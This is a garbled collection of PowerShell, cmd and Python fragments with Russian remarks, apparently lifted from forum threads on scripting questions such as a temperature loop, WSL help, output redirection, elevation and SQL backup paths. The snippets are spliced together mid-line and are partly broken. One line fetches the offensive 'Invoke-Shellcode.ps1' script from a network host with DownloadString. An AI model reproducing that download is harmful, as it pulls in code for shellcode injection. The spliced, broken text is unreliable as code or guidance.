$border = 40
$prev_temp = Get-Temperature
do {
$cur_temp = Get-Temperature
if (
($cur_temp -lt $border -and $prev_temp -gt $border) -or
($cur_temp -gt $border -and $prev_temp -lt $border)
)
{
Send-Notification $prev_temp $cur_temp
}
$prev_temp = $cur_temp
Start-Sleep -Seconds 60
} while ($true)$result = wsl lsЕсли командная строка не указана, wsl.exe запускает оболочку по умолчанию.
--exec, -e
Выполните указанную команду без использования оболочки Linux по умолчанию.
Start-Process -FilePath "C:\QUIK_VTB_85\info.exe" -WorkingDirectory "C:\QUIK_VTB_85\"Start-Process -?wsl -?Использование: wsl.exe [Argument] [Options...] [CommandLine]
wsl service cron status, выдаст вам то что надо| Select-String Active if (([bool] ($null)) -eq $NetDriveName )if (-not $NetDriveName) {
net use
}Invoke-Command -ScriptBlock { cmd /c "chcp 65001 && ipconfig /all" } -ComputerName ...Значение нуля означает, что время последнего входа неизвестно.
(New-Object Net.WebClient).DownloadString("http://192.168.0.14:8000/Invoke-Shellcode.ps1")Get-ChildItem "C:\Temp\files\*.txt" | Group-Object {$_.Name.Substring(2)} | Foreach-Object { $_.Group | Select -Skip 1 } А теперь вопрос, правильно ли я понимаю, что при вводе например первого символа f из foobar фактически в powershell вводятся следующая последовательность: \b\b\b\bfhey1 ?
PS D:\> Write-Host 'tohost' > d:\111
tohost
PS D:\> Get-Content d:\111
PS D:\> Write-Output 'tooutput' > d:\111
PS D:\> Get-Content d:\111
tooutput
PS D:\>Powershell -Noprofile -Command "Write-Host 'tohost'; Write-Output 'tooutput' " > D:\111
Powershell -Noprofile -Command "Get-Content d:\111"import ctypes, sys
def is_admin():
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
if is_admin():
# Code of your program here
print("I'm admin")
input()
else:
# Re-run the program with admin rights
ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, " ".join(sys.argv), None, 1)ctypes.windll.shell32.ShellExecuteW(None, "", "slmgr.vbs", "/ipk W269N-WFGWX-YVC9B-4J6C9-T83GX", None, 1) foreach ($DatabaseName in $MyBase.Name) {
$BackupPath = $smoserver.Databases['msdb'].ExecuteWithResults("SELECT TOP 1 backupmediafamily.physical_device_name FROM backupset JOIN backupmediafamily ON backupset.media_set_id = backupmediafamily.media_set_id WHERE backupset.database_name = '$($DatabaseName)' ORDER BY backupset.backup_start_date DESC")
$BackupPath.Tables[0].physical_device_name
}return $true), то записать результат $result = Test-SQLConnection "Data Source=base;database=name;User ID=sa;Password=password;"
#так там будет true/false
New-Item -Path "C:\TbKassa\Bin" -Name "marker.txt" -ItemType "file" -Value $result -Force
#а так - 1/0
New-Item -Path "C:\TbKassa\Bin" -Name "marker.txt" -ItemType "file" -Value ([int]$result) -Forceif $u = ( $true) { должно быть if ($u -eq $true) { или просто if ($u) {